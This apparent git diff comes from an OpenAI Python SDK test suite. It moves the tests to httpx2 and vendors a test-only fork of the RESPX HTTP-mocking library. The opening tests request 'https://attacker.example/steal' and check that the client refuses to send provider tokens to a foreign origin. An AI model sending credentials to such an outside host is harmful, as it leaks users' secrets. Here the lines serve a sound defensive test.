with pytest.raises(OpenAIError, match="origin other than the configured provider URL"):
- client.get("https://attacker.example/steal", cast_to=httpx.Response)
+ client.get("https://attacker.example/steal", cast_to=httpx2.Response)
assert (provider_calls, network_calls) == (0, 0)
@@ -381,40 +381,40 @@ async def token_provider() -> str:
provider_calls += 1
return "bedrock token"
- async def handler(request: httpx.Request) -> httpx.Response:
+ async def handler(request: httpx2.Request) -> httpx2.Response:
nonlocal network_calls
network_calls += 1
- return httpx.Response(200, request=request)
+ return httpx2.Response(200, request=request)
client = AsyncOpenAI(
provider=bedrock(base_url="https://bedrock.example/openai/v1", token_provider=token_provider),
- http_client=httpx.AsyncClient(transport=httpx.MockTransport(handler), trust_env=False),
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False),
)
with pytest.raises(OpenAIError, match="origin other than the configured provider URL"):
- await client.get("https://attacker.example/steal", cast_to=httpx.Response)
+ await client.get("https://attacker.example/steal", cast_to=httpx2.Response)
await client.close()
assert (provider_calls, network_calls) == (0, 0)
def test_bearer_provider_allows_one_shot_body_when_retries_are_disabled() -> None:
- requests: list[httpx.Request] = []
+ requests: list[httpx2.Request] = []
def body() -> Iterator[bytes]:
yield b"body"
- def handler(request: httpx.Request) -> httpx.Response:
+ def handler(request: httpx2.Request) -> httpx2.Response:
requests.append(request)
- return httpx.Response(200, request=request)
+ return httpx2.Response(200, request=request)
client = OpenAI(
provider=bedrock(base_url="https://bedrock.example/openai/v1", api_key="bedrock token"),
max_retries=0,
- http_client=httpx.Client(transport=httpx.MockTransport(handler), trust_env=False),
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
)
- client.post("/responses", content=body(), cast_to=httpx.Response)
+ client.post("/responses", content=body(), cast_to=httpx2.Response)
assert requests[0].content == b"body"
diff --git a/tests/respx2/FORK.md b/tests/respx2/FORK.md
new file mode 100644
index 0000000000..18b9cb24d8
--- /dev/null
+++ b/tests/respx2/FORK.md
@@ -0,0 +1,13 @@
+# HTTPX2-native RESPX fork
+
+This directory contains an SDK test-only fork of RESPX 0.23.1.
+
+- Upstream: https://github.com/lundberg/respx
+- Upstream tag: `0.23.1`
+- Upstream commit: `fc8b43bc74a69d07a6bdccf61522069b12bb8fad`
+- License: BSD 3-Clause; the original license is preserved in `LICENSE.md`.
+- The upstream README is preserved without modification in `README.md`.
+
+The fork replaces HTTPX and HTTPCORE imports and interception targets with HTTPX2 and HTTPCORE2, exposes the `respx2` pytest marker and `respx2_mock` fixture, and changes package imports to `tests.respx2`. This lets the SDK retain RESPX request matching, response side effects, decorators, and call history without installing legacy HTTPX in its normal test environment.
+
+The fork is limited to the SDK test suite and may be removed or upstreamed once RESPX supports HTTPX2 without requiring legacy HTTPX.
diff --git a/tests/respx2/LICENSE.md b/tests/respx2/LICENSE.md
new file mode 100644
index 0000000000..07b3b0b2b5
--- /dev/null
+++ b/tests/respx2/LICENSE.md
@@ -0,0 +1,29 @@
+BSD 3-Clause License
+
+Copyright (c) 2019, 5 Monkeys Agency AB
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this
+ list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice,
+ this list of conditions and the following disclaimer in the documentation
+ and/or other materials provided with the distribution.
+
+3. Neither the name of the copyright holder nor the names of its
+ contributors may be used to endorse or promote products derived from
+ this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/tests/respx2/README.md b/tests/respx2/README.md
new file mode 100644
index 0000000000..392ac41a86
--- /dev/null
+++ b/tests/respx2/README.md
@@ -0,0 +1,84 @@
+
+
+
+
+ RESPX - Mock HTTPX with awesome request patterns and response side effects.
+
+
+---
+
+[](https://github.com/lundberg/respx/actions/workflows/test.yml)
+[](https://codecov.io/gh/lundberg/respx)
+[](https://pypi.org/project/respx/)
+[](https://pypi.org/project/respx/)
+[](https://pypi.org/project/respx/)
+
+## Documentation
+
+Full documentation is available at
+[lundberg.github.io/respx](https://lundberg.github.io/respx/)
+
+## QuickStart
+
+RESPX is a simple, _yet powerful_, utility for mocking out the
+[HTTPX](https://www.python-httpx.org/), _and
+[HTTP Core](https://www.encode.io/httpcore/)_, libraries.
+
+Start by [patching](https://lundberg.github.io/respx/guide/#mock-httpx) `HTTPX`, using
+`respx.mock`, then add request
+[routes](https://lundberg.github.io/respx/guide/#routing-requests) to mock
+[responses](https://lundberg.github.io/respx/guide/#mocking-responses).
+
+```python
+import httpx
+import respx
+
+from httpx import Response
+
+
+@respx.mock
+def test_example():
+ my_route = respx.get("https://example.org/").mock(return_value=Response(204))
+ response = httpx.get("https://example.org/")
+ assert my_route.called
+ assert response.status_code == 204
+```
+
+> Read the [User Guide](https://lundberg.github.io/respx/guide/) for a complete
+> walk-through.
+
+### pytest + httpx
+
+For a neater `pytest` experience, RESPX includes a `respx_mock` _fixture_ for easy
+`HTTPX` mocking, along with an optional `respx` _marker_ to fine-tune the mock
+[settings](https://lundberg.github.io/respx/api/#configuration).
+
+```python
+import httpx
+import pytest
+
+
+def test_default(respx_mock):
+ respx_mock.get("https://foo.bar/").mock(return_value=httpx.Response(204))
+ response = httpx.get("https://foo.bar/")
+ assert response.status_code == 204
+
+
+@pytest.mark.respx(base_url="https://foo.bar")
+def test_with_marker(respx_mock):
+ respx_mock.get("/baz/").mock(return_value=httpx.Response(204))
+ response = httpx.get("https://foo.bar/baz/")
+ assert response.status_code == 204
+```
+
+## Installation
+
+Install with pip:
+
+```console
+$ pip install respx
+```
+
+Requires Python 3.8+ and HTTPX 0.25+. See
+[Changelog](https://github.com/lundberg/respx/blob/master/CHANGELOG.md) for older HTTPX
+compatibility.
diff --git a/tests/respx2/__init__.py b/tests/respx2/__init__.py
new file mode 100644
index 0000000000..13694fdc82
--- /dev/null
+++ b/tests/respx2/__init__.py
@@ -0,0 +1,56 @@
+from .__version__ import __version__
+from .handlers import ASGIHandler, WSGIHandler
+from .models import MockResponse, Route
+from .router import MockRouter, Router
+from .utils import SetCookie
+
+from .api import ( # isort:skip
+ mock,
+ routes,
+ calls,
+ start,
+ stop,
+ clear,
+ reset,
+ pop,
+ route,
+ add,
+ request,
+ get,
+ post,
+ put,
+ patch,
+ delete,
+ head,
+ options,
+)
+
+
+__all__ = [
+ "__version__",
+ "MockResponse",
+ "MockRouter",
+ "ASGIHandler",
+ "WSGIHandler",
+ "Router",
+ "Route",
+ "SetCookie",
+ "mock",
+ "routes",
+ "calls",
+ "start",
+ "stop",
+ "clear",
+ "reset",
+ "pop",
+ "route",
+ "add",
+ "request",
+ "get",
+ "post",
+ "put",
+ "patch",
+ "delete",
+ "head",
+ "options",
+]
diff --git a/tests/respx2/__version__.py b/tests/respx2/__version__.py
new file mode 100644
index 0000000000..43e16f5d29
--- /dev/null
+++ b/tests/respx2/__version__.py
@@ -0,0 +1 @@
+__version__ = "0.23.1"
diff --git a/tests/respx2/api.py b/tests/respx2/api.py
new file mode 100644
index 0000000000..89e123c60b
--- /dev/null
+++ b/tests/respx2/api.py
@@ -0,0 +1,116 @@
+from typing import Any, Optional, Union, overload
+
+from .models import CallList, Route
+from .patterns import Pattern
+from .router import MockRouter
+from .types import DefaultType, URLPatternTypes
+
+mock = MockRouter(assert_all_called=False)
+
+routes = mock.routes
+calls: CallList = mock.calls
+
+
+def start() -> None:
+ global mock
+ mock.start()
+
+
+def stop(clear: bool = True, reset: bool = True) -> None:
+ global mock
+ mock.stop(clear=clear, reset=reset)
+
+
+def clear() -> None:
+ global mock
+ mock.clear()
+
+
+def reset() -> None:
+ global mock
+ mock.reset()
+
+
+@overload
+def pop(name: str) -> Route:
+ ... # pragma: nocover
+
+
+@overload
+def pop(name: str, default: DefaultType) -> Union[Route, DefaultType]:
+ ... # pragma: nocover
+
+
+def pop(name, default=...):
+ global mock
+ return mock.pop(name, default=default)
+
+
+def route(*patterns: Pattern, name: Optional[str] = None, **lookups: Any) -> Route:
+ global mock
+ return mock.route(*patterns, name=name, **lookups)
+
+
+def add(route: Route, *, name: Optional[str] = None) -> Route:
+ global mock
+ return mock.add(route, name=name)
+
+
+def request(
+ method: str,
+ url: Optional[URLPatternTypes] = None,
+ *,
+ name: Optional[str] = None,
+ **lookups: Any,
+) -> Route:
+ global mock
+ return mock.request(method, url, name=name, **lookups)
+
+
+def get(
+ url: Optional[URLPatternTypes] = None, *, name: Optional[str] = None, **lookups: Any
+) -> Route:
+ global mock
+ return mock.get(url, name=name, **lookups)
+
+
+def post(
+ url: Optional[URLPatternTypes] = None, *, name: Optional[str] = None, **lookups: Any
+) -> Route:
+ global mock
+ return mock.post(url, name=name, **lookups)
+
+
+def put(
+ url: Optional[URLPatternTypes] = None, *, name: Optional[str] = None, **lookups: Any
+) -> Route:
+ global mock
+ return mock.put(url, name=name, **lookups)
+
+
+def patch(
+ url: Optional[URLPatternTypes] = None, *, name: Optional[str] = None, **lookups: Any
+) -> Route:
+ global mock
+ return mock.patch(url, name=name, **lookups)
+
+
+def delete(
+ url: Optional[URLPatternTypes] = None, *, name: Optional[str] = None, **lookups: Any
+) -> Route:
+ global mock
+ return mock.delete(url, name=name, **lookups)
+
+
+def head(
+ url: Optional[URLPatternTypes] = None, *, name: Optional[str] = None, **lookups: Any
+) -> Route:
+ global mock
+ return mock.head(url, name=name, **lookups)
+
+
+def options(
+ url: Optional[URLPatternTypes] = None, *, name: Optional[str] = None, **lookups: Any
+) -> Route:
+ global mock
+ return mock.options(url, name=name, **lookups)
diff --git a/tests/respx2/fixtures.py b/tests/respx2/fixtures.py
new file mode 100644
index 0000000000..1513fbf74f
--- /dev/null
+++ b/tests/respx2/fixtures.py
@@ -0,0 +1,12 @@
+try:
+ import pytest
+except ImportError: # pragma: nocover
+ pass
+else:
+ import asyncio
+
+ @pytest.fixture(scope="session")
+ def session_event_loop():
+ loop = asyncio.get_event_loop_policy().new_event_loop()
+ yield loop
+ loop.close()
diff --git a/tests/respx2/handlers.py b/tests/respx2/handlers.py
new file mode 100644
index 0000000000..b3a3cd7dda
--- /dev/null
+++ b/tests/respx2/handlers.py
@@ -0,0 +1,41 @@
+from typing import Any, Callable
+
+import httpx2 as httpx
+
+
+class TransportHandler:
+ def __init__(self, transport: httpx.BaseTransport) -> None:
+ self.transport = transport
+
+ def __call__(self, request: httpx.Request) -> httpx.Response:
+ if not isinstance(
+ request.stream,
+ httpx.SyncByteStream,
+ ): # pragma: nocover
+ raise RuntimeError("Attempted to route an async request to a sync app.")
+
+ return self.transport.handle_request(request)
+
+
+class AsyncTransportHandler:
+ def __init__(self, transport: httpx.AsyncBaseTransport) -> None:
+ self.transport = transport
+
+ async def __call__(self, request: httpx.Request) -> httpx.Response:
+ if not isinstance(
+ request.stream,
+ httpx.AsyncByteStream,
+ ): # pragma: nocover
+ raise RuntimeError("Attempted to route a sync request to an async app.")
+
+ return await self.transport.handle_async_request(request)
+
+
+class WSGIHandler(TransportHandler):
+ def __init__(self, app: Callable, **kwargs: Any) -> None:
+ super().__init__(httpx.WSGITransport(app=app, **kwargs))
+
+
+class ASGIHandler(AsyncTransportHandler):
+ def __init__(self, app: Callable, **kwargs: Any) -> None:
+ super().__init__(httpx.ASGITransport(app=app, **kwargs))
diff --git a/tests/respx2/mocks.py b/tests/respx2/mocks.py
new file mode 100644
index 0000000000..5696ee95c6
--- /dev/null
+++ b/tests/respx2/mocks.py
@@ -0,0 +1,339 @@
+import inspect
+from abc import ABC
+from types import MappingProxyType
+from typing import TYPE_CHECKING, ClassVar, Dict, List, Type
+from unittest import mock
+
+import httpcore2 as httpcore
+import httpx2 as httpx
+
+from tests.respx2.patterns import parse_url
+
+from .models import AllMockedAssertionError, PassThrough
+from .transports import TryTransport
+
+if TYPE_CHECKING:
+ from .router import Router # pragma: nocover
+
+__all__ = ["Mocker", "HTTPCoreMocker"]
+
+
+class Mocker(ABC):
+ _patches: ClassVar[List[mock._patch]]
+ name: ClassVar[str]
+ routers: ClassVar[List["Router"]]
+ targets: ClassVar[List[str]]
+ target_methods: ClassVar[List[str]]
+
+ # Automatically register all the subclasses in this dict
+ __registry: ClassVar[Dict[str, Type["Mocker"]]] = {}
+ registry = MappingProxyType(__registry)
+
+ def __init_subclass__(cls) -> None:
+ if not getattr(cls, "name", None) or ABC in cls.__bases__:
+ return
+
+ if cls.name in cls.__registry:
+ raise TypeError(
+ "Subclasses of Mocker must define a unique name. "
+ f"{cls.name!r} is already defined as {cls.__registry[cls.name]!r}"
+ )
+
+ cls.routers = []
+ cls._patches = []
+ cls.__registry[cls.name] = cls
+
+ @classmethod
+ def register(cls, router: "Router") -> None:
+ cls.routers.append(router)
+
+ @classmethod
+ def unregister(cls, router: "Router") -> bool:
+ if router in cls.routers:
+ cls.routers.remove(router)
+ return True
+ return False
+
+ @classmethod
+ def add_targets(cls, *targets: str) -> None:
+ targets = tuple(filter(lambda t: t not in cls.targets, targets))
+ if targets:
+ cls.targets.extend(targets)
+ cls.restart()
+
+ @classmethod
+ def remove_targets(cls, *targets: str) -> None:
+ targets = tuple(filter(lambda t: t in cls.targets, targets))
+ if targets:
+ for target in targets:
+ cls.targets.remove(target)
+ cls.restart()
+
+ @classmethod
+ def start(cls) -> None:
+ # Ensure we only patch once!
+ if cls._patches:
+ return
+
+ # Start patching target transports
+ for target in cls.targets:
+ for method in cls.target_methods:
+ try:
+ spec = f"{target}.{method}"
+ patch = mock.patch(spec, spec=True, new_callable=cls.mock)
+ patch.start()
+ cls._patches.append(patch)
+ except AttributeError:
+ pass
+
+ @classmethod
+ def stop(cls, force: bool = False) -> None:
+ # Ensure we don't stop patching when registered transports exists
+ if cls.routers and not force:
+ return
+
+ # Stop patching HTTPX
+ while cls._patches:
+ patch = cls._patches.pop()
+ patch.stop()
+
+ @classmethod
+ def restart(cls) -> None:
+ # Only stop and start if started
+ if cls._patches: # pragma: nocover
+ cls.stop(force=True)
+ cls.start()
+
+ @classmethod
+ def handler(cls, httpx_request):
+ httpx_response = None
+ assertion_error = None
+ for router in cls.routers:
+ try:
+ httpx_response = router.handler(httpx_request)
+ except AllMockedAssertionError as error:
+ assertion_error = error
+ continue
+ else:
+ break
+ if assertion_error and not httpx_response:
+ raise assertion_error
+ return httpx_response
+
+ @classmethod
+ async def async_handler(cls, httpx_request):
+ httpx_response = None
+ assertion_error = None
+ for router in cls.routers:
+ try:
+ httpx_response = await router.async_handler(httpx_request)
+ except AllMockedAssertionError as error:
+ assertion_error = error
+ continue
+ else:
+ break
+ if assertion_error and not httpx_response:
+ raise assertion_error
+ return httpx_response
+
+ @classmethod
+ def mock(cls, spec):
+ raise NotImplementedError() # pragma: nocover
+
+
+class HTTPXMocker(Mocker):
+ name = "httpx"
+ targets = [
+ "httpx2._client.Client",
+ "httpx2._client.AsyncClient",
+ ]
+ target_methods = ["_transport_for_url"]
+
+ @classmethod
+ def mock(cls, spec):
+ def _transport_for_url(self, *args, **kwargs):
+ handler = (
+ cls.async_handler
+ if inspect.iscoroutinefunction(self.request)
+ else cls.handler
+ )
+ mock_transport = httpx.MockTransport(handler)
+ pass_through_transport = spec(self, *args, **kwargs)
+ transport = TryTransport([mock_transport, pass_through_transport])
+ return transport
+
+ return _transport_for_url
+
+
+class AbstractRequestMocker(Mocker):
+ @classmethod
+ def mock(cls, spec):
+ if spec.__name__ not in cls.target_methods:
+ # Prevent mocking mock
+ return spec
+
+ argspec = inspect.getfullargspec(spec)
+
+ def mock(self, *args, **kwargs):
+ kwargs = cls._merge_args_and_kwargs(argspec, args, kwargs)
+ request = cls.to_httpx_request(**kwargs)
+ request, kwargs = cls.prepare_sync_request(request, **kwargs)
+ response = cls._send_sync_request(
+ request, target_spec=spec, instance=self, **kwargs
+ )
+ return response
+
+ async def amock(self, *args, **kwargs):
+ kwargs = cls._merge_args_and_kwargs(argspec, args, kwargs)
+ request = cls.to_httpx_request(**kwargs)
+ request, kwargs = await cls.prepare_async_request(request, **kwargs)
+ response = await cls._send_async_request(
+ request, target_spec=spec, instance=self, **kwargs
+ )
+ return response
+
+ return amock if inspect.iscoroutinefunction(spec) else mock
+
+ @classmethod
+ def _merge_args_and_kwargs(cls, argspec, args, kwargs):
+ arg_names = argspec.args[1:] # Omit self
+ new_kwargs = (
+ dict(zip(arg_names[-len(argspec.defaults) :], argspec.defaults))
+ if argspec.defaults
+ else dict()
+ )
+ new_kwargs.update(zip(arg_names, args))
+ new_kwargs.update(kwargs)
+ return new_kwargs
+
+ @classmethod
+ def _send_sync_request(cls, httpx_request, *, target_spec, instance, **kwargs):
+ try:
+ httpx_response = cls.handler(httpx_request)
+ except PassThrough:
+ response = target_spec(instance, **kwargs)
+ else:
+ response = cls.from_sync_httpx_response(httpx_response, instance, **kwargs)
+ return response
+
+ @classmethod
+ async def _send_async_request(
+ cls, httpx_request, *, target_spec, instance, **kwargs
+ ):
+ try:
+ httpx_response = await cls.async_handler(httpx_request)
+ except PassThrough:
+ response = await target_spec(instance, **kwargs)
+ else:
+ response = await cls.from_async_httpx_response(
+ httpx_response, instance, **kwargs
+ )
+ return response
+
+ @classmethod
+ def prepare_sync_request(cls, httpx_request, **kwargs):
+ """
+ Sync pre-read request body
+ """
+ httpx_request.read()
+ return httpx_request, kwargs
+
+ @classmethod
+ async def prepare_async_request(cls, httpx_request, **kwargs):
+ """
+ Async pre-read request body
+ """
+ await httpx_request.aread()
+ return httpx_request, kwargs
+
+ @classmethod
+ def to_httpx_request(cls, **kwargs):
+ raise NotImplementedError() # pragma: nocover
+
+ @classmethod
+ def from_sync_httpx_response(cls, httpx_response, target, **kwargs):
+ raise NotImplementedError() # pragma: nocover
+
+ @classmethod
+ async def from_async_httpx_response(cls, httpx_response, target, **kwargs):
+ raise NotImplementedError() # pragma: nocover
+
+
+class HTTPCoreMocker(AbstractRequestMocker):
+ name = "httpcore"
+ targets = [
+ "httpcore2._sync.connection.HTTPConnection",
+ "httpcore2._sync.connection_pool.ConnectionPool",
+ "httpcore2._sync.http_proxy.HTTPProxy",
+ "httpcore2._async.connection.AsyncHTTPConnection",
+ "httpcore2._async.connection_pool.AsyncConnectionPool",
+ "httpcore2._async.http_proxy.AsyncHTTPProxy",
+ ]
+ target_methods = ["handle_request", "handle_async_request"]
+
+ @classmethod
+ def prepare_sync_request(cls, httpx_request, **kwargs):
+ """
+ Sync pre-read request body, and update transport request arg.
+ """
+ httpx_request, kwargs = super().prepare_sync_request(httpx_request, **kwargs)
+ kwargs["request"].stream = httpx_request.stream
+ return httpx_request, kwargs
+
+ @classmethod
+ async def prepare_async_request(cls, httpx_request, **kwargs):
+ """
+ Async pre-read request body, and update transport request arg.
+ """
+ httpx_request, kwargs = await super().prepare_async_request(
+ httpx_request, **kwargs
+ )
+ kwargs["request"].stream = httpx_request.stream
+ return httpx_request, kwargs
+
+ @classmethod
+ def to_httpx_request(cls, **kwargs):
+ """
+ Create a `HTTPX` request from transport request arg.
+ """
+ request = kwargs["request"]
+ method = (
+ request.method.decode("ascii")
+ if isinstance(request.method, bytes)
+ else request.method
+ )
+ raw_url = (
+ request.url.scheme,
+ request.url.host,
+ request.url.port,
+ request.url.target,
+ )
+ return httpx.Request(
+ method,
+ parse_url(raw_url),
+ headers=request.headers,
+ stream=request.stream,
+ extensions=request.extensions,
+ )
+
+ @classmethod
+ def from_sync_httpx_response(cls, httpx_response, target, **kwargs):
+ """
+ Create a `httpcore` response from a `HTTPX` response.
+ """
+ return httpcore.Response(
+ status=httpx_response.status_code,
+ headers=httpx_response.headers.raw,
+ content=httpx_response.stream,
+ extensions=httpx_response.extensions,
+ )
+
+ @classmethod
+ async def from_async_httpx_response(cls, httpx_response, target, **kwargs):
+ """
+ Create a `httpcore` response from a `HTTPX` response.
+ """
+ return cls.from_sync_httpx_response(httpx_response, target, **kwargs)
+
+
+DEFAULT_MOCKER: str = HTTPCoreMocker.name
diff --git a/tests/respx2/models.py b/tests/respx2/models.py
new file mode 100644
index 0000000000..eb42b205af
--- /dev/null
+++ b/tests/respx2/models.py
@@ -0,0 +1,550 @@
+import inspect
+from typing import (
+ Any,
+ Dict,
+ Iterator,
+ List,
+ NamedTuple,
+ Optional,
+ Sequence,
+ Tuple,
+ Type,
+ Union,
+)
+from unittest import mock
+from warnings import warn
+
+import httpx2 as httpx
+
+from tests.respx2.utils import SetCookie
+
+from .patterns import M, Pattern
+from .types import (
+ CallableSideEffect,
+ Content,
+ CookieTypes,
+ HeaderTypes,
+ ResolvedResponseTypes,
+ RouteResultTypes,
+ SideEffectListTypes,
+ SideEffectTypes,
+)
+
+
+def clone_response(response: httpx.Response, request: httpx.Request) -> httpx.Response:
+ """
+ Clones a httpx Response for given request.
+ """
+ response = httpx.Response(
+ response.status_code,
+ headers=response.headers,
+ stream=response.stream,
+ request=request,
+ extensions=dict(response.extensions),
+ )
+ return response
+
+
+class Call(NamedTuple):
+ request: httpx.Request
+ optional_response: Optional[httpx.Response]
+
+ @property
+ def response(self) -> httpx.Response:
+ if self.optional_response is None:
+ raise ValueError(f"{self!r} has no response")
+ return self.optional_response
+
+ @property
+ def has_response(self) -> bool:
+ return self.optional_response is not None
+
+
+class CallList(list, mock.NonCallableMock):
+ def __init__(self, *args: Sequence[Call], name: Any = "respx") -> None:
+ super().__init__(*args)
+ mock.NonCallableMock.__init__(self, name=name)
+
+ @property
+ def called(self) -> bool: # type: ignore[override]
+ return bool(self)
+
+ @property
+ def call_count(self) -> int: # type: ignore[override]
+ return len(self)
+
+ @property
+ def last(self) -> Call:
+ return self[-1]
+
+ def record(
+ self, request: httpx.Request, response: Optional[httpx.Response]
+ ) -> Call:
+ call = Call(request=request, optional_response=response)
+ self.append(call)
+ return call
+
+
+class MockResponse(httpx.Response):
+ def __init__(
+ self,
+ status_code: Optional[int] = None,
+ *,
+ content: Optional[Content] = None,
+ content_type: Optional[str] = None,
+ http_version: Optional[str] = None,
+ cookies: Optional[Union[CookieTypes, Sequence[SetCookie]]] = None,
+ **kwargs: Any,
+ ) -> None:
+ if not isinstance(content, (str, bytes)) and (
+ callable(content) or isinstance(content, (dict, Exception))
+ ):
+ raise TypeError(
+ f"MockResponse content can only be str, bytes or byte stream"
+ f"got {content!r}. Please use json=... or side effects."
+ )
+
+ if content is not None:
+ kwargs["content"] = content
+ if http_version:
+ kwargs["extensions"] = kwargs.get("extensions", {})
+ kwargs["extensions"]["http_version"] = http_version.encode("ascii")
+ super().__init__(status_code or 200, **kwargs)
+
+ if content_type:
+ self.headers["Content-Type"] = content_type
+
+ if cookies:
+ if isinstance(cookies, dict):
+ cookies = tuple(cookies.items())
+ self.headers = httpx.Headers(
+ (
+ *self.headers.multi_items(),
+ *(
+ cookie if isinstance(cookie, SetCookie) else SetCookie(*cookie)
+ for cookie in cookies
+ ),
+ )
+ )
+
+
+class Route:
+ def __init__(
+ self,
+ *patterns: Pattern,
+ **lookups: Any,
+ ) -> None:
+ self._pattern = M(*patterns, **lookups)
+ self._return_value: Optional[httpx.Response] = None
+ self._side_effect: Optional[SideEffectTypes] = None
+ self._pass_through: bool = False
+ self._name: Optional[str] = None
+ self._snapshots: List[Tuple] = []
+ self.calls = CallList(name=self)
+ self.snapshot()
+
+ def __eq__(self, other: object) -> bool:
+ if not isinstance(other, Route):
+ return False # pragma: nocover
+ return self.pattern == other.pattern
+
+ def __repr__(self): # pragma: nocover
+ name = f"name={self._name!r} " if self._name else ""
+ return f""
+
+ def __call__(self, side_effect: CallableSideEffect) -> CallableSideEffect:
+ self.side_effect = side_effect
+ return side_effect
+
+ def __mod__(self, response: Union[int, Dict[str, Any], httpx.Response]) -> "Route":
+ if isinstance(response, int):
+ self.return_value = httpx.Response(status_code=response)
+
+ elif isinstance(response, dict):
+ response.setdefault("status_code", 200)
+ self.return_value = httpx.Response(**response)
+
+ elif isinstance(response, httpx.Response):
+ self.return_value = response
+
+ else:
+ raise TypeError(
+ f"Route can only % with int, dict or Response, got {response!r}"
+ )
+
+ return self
+
+ @property
+ def name(self) -> Optional[str]:
+ return self._name
+
+ @name.setter
+ def name(self, name: str) -> None:
+ raise NotImplementedError("Can't set name on route.")
+
+ @property
+ def pattern(self) -> Pattern:
+ return self._pattern
+
+ @pattern.setter
+ def pattern(self, pattern: Pattern) -> None:
+ raise NotImplementedError("Can't change route pattern.")
+
+ @property
+ def return_value(self) -> Optional[httpx.Response]:
+ return self._return_value
+
+ @return_value.setter
+ def return_value(self, return_value: Optional[httpx.Response]) -> None:
+ if return_value is not None and not isinstance(return_value, httpx.Response):
+ raise TypeError(f"{return_value!r} is not an instance of httpx.Response")
+ self.pass_through(False)
+ self._return_value = return_value
+
+ @property
+ def side_effect(
+ self,
+ ) -> Optional[Union[SideEffectTypes, Sequence[SideEffectListTypes]]]:
+ return self._side_effect
+
+ @side_effect.setter
+ def side_effect(
+ self,
+ side_effect: Optional[Union[SideEffectTypes, Sequence[SideEffectListTypes]]],
+ ) -> None:
+ self.pass_through(False)
+ if not side_effect:
+ self._side_effect = None
+ elif isinstance(side_effect, (Iterator, Sequence)):
+ self._side_effect = iter(side_effect)
+ else:
+ self._side_effect = side_effect
+
+ def snapshot(self) -> None:
+ # Clone iterator-type side effect to not get pre-exhausted when rolled back
+ side_effect = self._side_effect
+ if isinstance(side_effect, Iterator):
+ side_effects = tuple(side_effect)
+ self._side_effect = iter(side_effects)
+ side_effect = iter(side_effects)
+
+ self._snapshots.append(
+ (
+ self._pattern,
+ self._name,
+ self._return_value,
+ side_effect,
+ self._pass_through,
+ CallList(self.calls, name=self),
+ ),
+ )
+
+ def rollback(self) -> None:
+ if not self._snapshots:
+ return
+
+ snapshot = self._snapshots.pop()
+ pattern, name, return_value, side_effect, pass_through, calls = snapshot
+
+ self._pattern = pattern
+ self._name = name
+ self._return_value = return_value
+ self._side_effect = side_effect
+ self.pass_through(pass_through)
+ self.calls[:] = calls
+
+ def reset(self) -> None:
+ self.calls.clear()
+
+ def mock(
+ self,
+ return_value: Optional[httpx.Response] = None,
+ *,
+ side_effect: Optional[
+ Union[SideEffectTypes, Sequence[SideEffectListTypes]]
+ ] = None,
+ ) -> "Route":
+ self.return_value = return_value
+ self.side_effect = side_effect
+ return self
+
+ def respond(
+ self,
+ status_code: int = 200,
+ *,
+ headers: Optional[HeaderTypes] = None,
+ cookies: Optional[Union[CookieTypes, Sequence[SetCookie]]] = None,
+ content: Optional[Content] = None,
+ text: Optional[str] = None,
+ html: Optional[str] = None,
+ json: Any = None,
+ stream: Optional[Union[httpx.SyncByteStream, httpx.AsyncByteStream]] = None,
+ content_type: Optional[str] = None,
+ http_version: Optional[str] = None,
+ **kwargs: Any,
+ ) -> "Route":
+ response = MockResponse(
+ status_code,
+ headers=headers,
+ cookies=cookies,
+ content=content,
+ text=text,
+ html=html,
+ json=json,
+ stream=stream,
+ content_type=content_type,
+ http_version=http_version,
+ **kwargs,
+ )
+ return self.mock(return_value=response)
+
+ def pass_through(self, value: bool = True) -> "Route":
+ self._pass_through = value
+ return self
+
+ @property
+ def is_pass_through(self) -> bool:
+ return self._pass_through
+
+ @property
+ def called(self) -> bool:
+ return self.calls.called
+
+ @property
+ def call_count(self) -> int:
+ return self.calls.call_count
+
+ def _next_side_effect(
+ self,
+ ) -> Union[CallableSideEffect, Exception, Type[Exception], httpx.Response]:
+ assert self._side_effect is not None
+ effect: Union[CallableSideEffect, Exception, Type[Exception], httpx.Response]
+ if isinstance(self._side_effect, Iterator):
+ effect = next(self._side_effect)
+ else:
+ effect = self._side_effect
+
+ return effect
+
+ def _call_side_effect(
+ self, effect: CallableSideEffect, request: httpx.Request, **kwargs: Any
+ ) -> RouteResultTypes:
+ # Add route kwarg if the side effect wants it
+ argspec = inspect.getfullargspec(effect)
+ if "route" in kwargs:
+ warn(f"Matched context contains reserved word `route`: {self.pattern!r}")
+ if "route" in argspec.args:
+ kwargs["route"] = self
+
+ try:
+ # Call side effect
+ result: RouteResultTypes = effect(request, **kwargs)
+ except Exception as error:
+ raise SideEffectError(self, origin=error) from error
+
+ # Validate result
+ if (
+ result
+ and not inspect.isawaitable(result)
+ and not isinstance(result, (httpx.Response, httpx.Request))
+ ):
+ raise TypeError(
+ f"Side effects must return; either a `httpx.Response`,"
+ f"a `httpx.Request` for pass-through, "
+ f"or `None` for a non-match. Got {result!r}"
+ )
+
+ return result
+
+ def _resolve_side_effect(
+ self, request: httpx.Request, **kwargs: Any
+ ) -> RouteResultTypes:
+ effect = self._next_side_effect()
+
+ # Handle Exception `instance` side effect
+ if isinstance(effect, Exception):
+ raise SideEffectError(self, origin=effect)
+
+ # Handle Exception `type` side effect
+ elif isinstance(effect, type):
+ assert issubclass(effect, Exception)
+ raise SideEffectError(
+ self,
+ origin=(
